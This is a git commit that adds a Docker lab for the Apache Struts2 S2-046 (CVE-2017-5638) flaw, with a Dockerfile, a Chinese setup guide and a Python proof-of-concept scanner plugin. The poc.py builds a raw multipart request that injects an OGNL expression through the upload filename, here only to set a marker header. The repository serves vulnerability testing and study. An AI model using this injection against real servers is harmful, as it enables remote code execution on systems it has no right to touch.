(Add Vul: Struts2) s2-046 (CVE-2017-5638)

This commit is contained in:
Medicean 2017-03-21 12:48:12 +08:00
parent 3e071aad6e
commit 8bd0fc637c
4 changed files with 129 additions and 0 deletions

View File

@ -5,3 +5,4 @@
* [S2-037](./s2-037/)
* [S2-devMode](./s2-devMode/)
* [S2-045](./s2-045/)
* [S2-046](./s2-046/)

View File

@ -0,0 +1,14 @@
FROM tomcat:8-jre8
MAINTAINER Medici.Yan@Gmail.com
ENV WAR_URL http://oe58q5lw3.bkt.clouddn.com/s/struts2/struts2/s2-046.war
WORKDIR /tmp
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh \
&& wget -qO /usr/local/tomcat/webapps/ROOT.war $WAR_URL
EXPOSE 8080
CMD ["/usr/local/tomcat/bin/catalina.sh", "run"]

View File

@ -0,0 +1,51 @@
## Struts2_Jakarta_Plugin插件远程代码执行漏洞(S2-046) 环境
### 漏洞信息
* [S2-046 公告](https://cwiki.apache.org/confluence/display/WW/S2-046)
### 获取环境:
1. 拉取镜像到本地
```
$ docker pull medicean/vulapps:s_struts2_s2-046
```
2. 启动环境
```
$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-046
```
> `-p 80:8080` 前面的 80 代表物理机的端口,可随意指定。
### 使用与利用
访问 `http://你的 IP 地址:端口号/`
#### PoC
> 本例中使用 [Struts2_Jakarta_Plugin插件远程代码执行漏洞(S2-046) ](http://www.bugscan.net/source/plugin/4787/template/)
1. 下载并安装 `BugScan SDK`
详见 [BugScan 插件开发文档 - 环境配置](http://doc.bugscan.net/chapter1/1-1.html)
2. 修改 `poc.py` 中地址为容器地址
> 该漏洞需要配合上传表单使用,所以传入的 arg 为 Form 表单详细见http://doc.bugscan.net/chapter2/2-8.html
```
if __name__ == '__main__':
from dummy import *
audit(assign(fingerprint.www_form, {'action': 'http://127.0.0.1:8080/doUpload.action', 'inputs': [{'type': u'file', 'name': u'upload', 'value': u'file'}],'ref': 'http://127.0.0.1:8080/doUpload.action', 'method': u'post'})[1])
```
3. 运行 `poc.py`
```
$ python poc.py
```

63
s/struts2/s2-046/poc.py Normal file
View File

@ -0,0 +1,63 @@
#!/usr/bin/env python
# coding:utf-8
import socket
import urlparse
import random
def assign(service, arg):
if service == fingerprint.www_form:
return True, arg
def audit(arg):
input_file_name = None
for x in arg['inputs']:
if x['type'] == 'file':
input_file_name = x['name']
break
if input_file_name is None:
return
uri = urlparse.urlparse(arg['action']).path
http_host = urlparse.urlparse(arg['action']).netloc
host = None
port = 80
if ':' in http_host:
host = http_host.split(':')[0]
port = int(http_host.split(':')[1])
else:
host = http_host
randint1 = str(random.randint(1000, 10000))
raw = """POST {uri} HTTP/1.1
Host: {http_host}
Content-Length: 1000000000
Cache-Control: max-age=0
Origin: {referer}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: {referer}
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="{input_file_name}"; filename="%{{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test-{randint1}','Kaboom')}}"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--
""".format(uri=uri, http_host=http_host, referer=arg['ref'], input_file_name=input_file_name, randint1=randint1).replace('\n', '\r\n')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.setdefaulttimeout(20)
s.connect((host, port))
s.send(raw)
data = s.recv(1024)
if 'X-Test-%s' % (randint1) in data:
security_hole("%s" % arg, log={'request': raw, 'response': data})
if __name__ == '__main__':
from dummy import *
audit(assign(fingerprint.www_form, {'action': 'http://127.0.0.1:8080/doUpload.action', 'inputs': [{'type': u'file', 'name': u'upload', 'value': u'minimum'}],'ref': 'http://127.0.0.1:8080/doUpload.action', 'method': u'post'})[1])